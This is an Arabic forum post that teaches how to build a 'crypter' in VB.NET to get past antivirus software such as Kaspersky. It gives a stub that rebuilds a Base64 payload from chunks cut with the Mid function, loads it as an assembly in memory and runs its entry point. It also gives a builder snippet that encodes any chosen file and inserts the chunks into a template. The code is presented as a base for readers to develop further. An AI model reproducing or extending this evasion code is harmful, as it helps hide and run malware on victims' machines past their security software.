1

كيف حالكم ايها الأبطال ...




دخول مباشر في الموضوع ....

التقسيم هي الطريقه المثلى في
طرح أعند الحمايات في العالم
كالكاسبر سكاي
التقسيم له عده دوال
والدوال التي لم تستخدم من قبل في هذا المجال هي داله MID
ارجو التنويه لبعض الاخوان الطرق خام أترك لكم تطويرها ..





سنستخدم الداله الساحره بطريقه التقسيم عوضا عن split

على ابسط مثال نقوم بتعريف متغير من نوع سترينج ونضع القيم بداخله

كود Visual Basic

?

1	Dim x as string=""

نقوم بتقسيم القيم في نص سترينج بالشكل التالي

كود Visual Basic

?

1	Dim xx As String = Mid(x1, 1, 100)

نلاحظ هنا أننا استخدمنا mid في تقسيم العدد من اول حرف الى عدد 100
ثم نقوم بتقسيم جزء أخر من القيم وهو الذي سيبداء من 100 الى عدد انت تحدده ايضا مثال

كود Visual Basic

?

1	Dim xxx As String = Mid(x1, 101, 300)

هنا يجب مراعاه جمع العدد الاول وهو 100 + 1 ووضعها في القسم الذي يليه اي خطاء سيعطب السيرفر

القسم الاخير من التقسيم سيكون بجمع عدد التقسيم الثاني وهو 300 + 101 = 401
والى نهايه النص بالشكل التالي

كود Visual Basic

?

1	Dim xxxx As String = Mid(x1, 401, x1.Length)

نلاحظ هنا ان بدايه القسم الاخير يبداء بجمع القسيم الذي قبله وينتهي ب اسم المتغير الذي يحمل القيم وطول النص ...

هكذا ونقوم بوضع المتغيرات في البايت بالشكل التالي

كود Visual Basic

?

1	Dim fox() As Byte = Convert.FromBase64String(xx + xxx + xxxx)

الكود كامل

كود Visual Basic

?

1 2 3 4 5 6 7 8 9 10

Module Module1 Sub main() Dim x1 As String = "" Dim xx As String = Mid(x1, 1, 100) Dim xxx As String = Mid(x1, 101, 300) Dim xxxx As String = Mid(x1, 401, x1.Length) Dim fox() As Byte = Convert.FromBase64String(xx + xxx + xxxx) Dim jj = AppDomain.CurrentDomain.Load(fox).EntryPoint.Invoke(0, Nothing) End Sub End Module

ولو فرضنا أننا نريد عمل برنامج تشفير
يقوم بتقسيم القيم ووضع الأقسام في 10 متغيرات من
نوع سترينج بدلا من تقسيمها يدويا فالحل الآمثل هو mid




مثال بسيطه لآستخدامها في برامج التشفير

كود Visual Basic

?

1 2 3 4 5 6 7 8 9

Dim x As String = Convert.ToBase64String(IO.File.ReadAllBytes(t1.Text))         Dim xx As String = Mid(x, 1, 100)         Dim xxx As String = Mid(x, 101, 200)         Dim xxxx As String = Mid(x, 301, x.Length)         Dim sam As String = My.Resources.xc         Dim hazem As String         hazem = sam.Replace("%1%", xx).Replace("%2%", xxx).Replace("%3%", xxxx)           r1.Text = hazem

هكذا ستقوم بتقسيم القيم مباشره ووضعها داخل السترينج دون اي مجهود ومع استخدام خورزميه تشفير انظرو الى النتائج




طبعا يا اخوان نحن نشرح فكره قابله للتعديل من خلال هذه الفكره البسيطه تسطيع عمل برامج تشفير
تقسيم القيم بخورزميات اضا فه ستراكشر التلاعب له الاف الطرق انا اعطيكم بدايه الحبل
الفكره خام اترك لكم التطوير ( يرجى ذكر الحقوق في النقل او في التطوير فضلا وليس امرا )

نتيجه لاتشفير اتركها لكم
دمتم بخير